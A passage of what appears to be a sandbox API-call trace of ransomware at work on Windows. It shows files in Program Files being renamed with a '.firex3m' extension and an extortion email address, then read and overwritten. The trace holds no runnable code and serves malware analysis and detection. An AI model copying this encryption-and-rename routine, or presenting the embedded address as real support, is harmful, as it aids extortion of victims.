Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\toastbeginupgrade.xml") returned 1 [0218.010] GetProcessHeap () returned 0x630000 [0218.010] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5094) returned 0x6fe3bb0 [0218.010] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-mx\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0218.011] CloseHandle (hObject=0x678) returned 1 [0218.011] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0218.011] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-mx\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-mx\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0218.012] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.012] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5280 [0218.012] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0218.012] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-mx\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0218.012] GetProcessHeap () returned 0x630000 [0218.012] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7550 [0218.012] GetProcessHeap () returned 0x630000 [0218.012] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d6db8 [0218.012] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.012] ReadFile (in: hFile=0x678, lpBuffer=0x6d7550, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7550*, lpNumberOfBytesRead=0x6d7ff0c*=0x240, lpOverlapped=0x0) returned 1 [0218.016] GetProcessHeap () returned 0x630000 [0218.016] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0218.016] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.016] WriteFile (in: hFile=0x678, lpBuffer=0x6d6db8*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d6db8*, lpNumberOfBytesWritten=0x6d7ff0c*=0x240, lpOverlapped=0x0) returned 1 [0218.016] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.016] WriteFile (in: hFile=0x678, lpBuffer=0x6d6ff7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d6ff7*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0218.016] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.016] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0218.016] CloseHandle (hObject=0x678) returned 1 [0218.017] GetProcessHeap () returned 0x630000 [0218.017] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d6db8 | out: hHeap=0x630000) returned 1 [0218.017] GetProcessHeap () returned 0x630000 [0218.017] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7550 | out: hHeap=0x630000) returned 1 [0218.017] GetProcessHeap () returned 0x630000 [0218.017] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0218.017] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.017] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x47e58d55, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x279, dwReserved0=0x6d7fd20, dwReserved1=0x6d7550, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5580 [0218.017] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0218.017] Sleep (dwMilliseconds=0x1) [0218.059] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\index.html", len=0x6f | out: pbstr=0x6d7ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\index.html") returned 1 [0218.059] GetProcessHeap () returned 0x630000 [0218.059] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5090) returned 0x6fe3bb0 [0218.059] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-mx\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0218.059] CloseHandle (hObject=0x678) returned 1 [0218.059] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0218.060] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-mx\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-mx\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0218.061] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.061] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9f19, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d51c0 [0218.061] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0218.061] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-mx\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0218.061] GetProcessHeap () returned 0x630000 [0218.061] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9f21) returned 0x6ec0048 [0218.061] GetProcessHeap () returned 0x630000 [0218.061] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9f21) returned 0x73b2408 [0218.061] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.061] ReadFile (in: hFile=0x678, lpBuffer=0x6ec0048, nNumberOfBytesToRead=0x9f00, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec0048*, lpNumberOfBytesRead=0x6d7ff0c*=0x9f00, lpOverlapped=0x0) returned 1 [0223.664] GetProcessHeap () returned 0x630000 [0223.664] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71772b8 [0223.665] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.665] WriteFile (in: hFile=0x678, lpBuffer=0x73b2408*, nNumberOfBytesToWrite=0x9f00, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73b2408*, lpNumberOfBytesWritten=0x6d7ff0c*=0x9f00, lpOverlapped=0x0) returned 1 [0224.901] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.901] WriteFile (in: hFile=0x678, lpBuffer=0x73bc307*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73bc307*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.607] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.607] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.607] CloseHandle (hObject=0x678) returned 1 [0225.734] GetProcessHeap () returned 0x630000 [0225.734] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73b2408 | out: hHeap=0x630000) returned 1 [0225.734] GetProcessHeap () returned 0x630000 [0225.734] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec0048 | out: hHeap=0x630000) returned 1 [0225.734] GetProcessHeap () returned 0x630000 [0225.734] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71772b8 | out: hHeap=0x630000) returned 1 [0226.663] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.663] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c6c44a3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9f3d, dwReserved0=0x9f87496, dwReserved1=0x6ec0040, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d52c0 [0226.663] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0226.663] Sleep (dwMilliseconds=0x1) [0226.674] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\Windows Defender\\ProtectionManagement_Uninstall.mof", len=0x44 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\Windows Defender\\ProtectionManagement_Uninstall.mof") returned 1 [0226.674] GetProcessHeap () returned 0x630000 [0226.674] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51f0) returned 0x6fe3bb0 [0226.675] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\ProtectionManagement_Uninstall.mof" (normalized: "c:\\program files\\windows defender\\protectionmanagement_uninstall.mof"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.679] Sleep (dwMilliseconds=0x1) [0226.687] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\Windows Defender\\en-US\\OfflineScannerShell.exe.mui", len=0x43 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\Windows Defender\\en-US\\OfflineScannerShell.exe.mui") returned 1 [0226.687] GetProcessHeap () returned 0x630000 [0226.688] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51bc) returned 0x6fe3bb0 [0226.688] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\en-US\\OfflineScannerShell.exe.mui" (normalized: "c:\\program files\\windows defender\\en-us\\offlinescannershell.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.694] Sleep (dwMilliseconds=0x1) [0226.700] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x6d7ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\toastbeginupgradeth2.xml") returned 1 [0226.700] GetProcessHeap () returned 0x630000 [0226.700] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5180) returned 0x6fe3bb0 [0226.701] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-hk\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0226.712] CloseHandle (hObject=0x4e4) returned 1 [0226.712] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.712] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-hk\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-hk\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0227.018] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.019] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5400 [0227.019] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0227.019] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-hk\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0227.019] GetProcessHeap () returned 0x630000 [0227.019] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2830 [0227.019] GetProcessHeap () returned 0x630000 [0227.019] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e1ea0 [0227.019] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.019] ReadFile (in: hFile=0x4e4, lpBuffer=0x6e2830, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2830*, lpNumberOfBytesRead=0x6d7ff0c*=0x160, lpOverlapped=0x0) returned 1 [0227.021] GetProcessHeap () returned 0x630000 [0227.021] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177948 [0227.021] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.021] WriteFile (in: hFile=0x4e4, lpBuffer=0x6e1ea0*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e1ea0*, lpNumberOfBytesWritten=0x6d7ff0c*=0x160, lpOverlapped=0x0) returned 1 [0227.021] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.022] WriteFile (in: hFile=0x4e4, lpBuffer=0x6e1fff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e1fff*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0227.022] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.022] WriteFile (in: hFile=0x4e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0227.022] CloseHandle (hObject=0x4e4) returned 1 [0227.022] GetProcessHeap () returned 0x630000 [0227.022] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e1ea0 | out: hHeap=0x630000) returned 1 [0227.022] GetProcessHeap () returned 0x630000 [0227.022] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2830 | out: hHeap=0x630000) returned 1 [0227.022] GetProcessHeap () returned 0x630000 [0227.022] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177948 | out: hHeap=0x630000) returned 1 [0227.022] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.022] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d42d819, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x196, dwReserved0=0x6d7fd20, dwReserved1=0x6e2830, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5000 [0227.022] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0227.022] Sleep (dwMilliseconds=0x1) [0227.057] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\index.html", len=0x6f | out: pbstr=0x6d7ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\index.html") returned 1 [0227.057] GetProcessHeap () returned 0x630000 [0227.057] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5158) returned 0x6fe3bb0 [0227.057] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\vi-vn\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0227.064] CloseHandle (hObject=0x4e4) returned 1 [0227.064] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0227.064] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\vi-vn\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\vi-vn\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0227.174] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.175] FindFirstFileW (in: lpFileName="C:\\Program 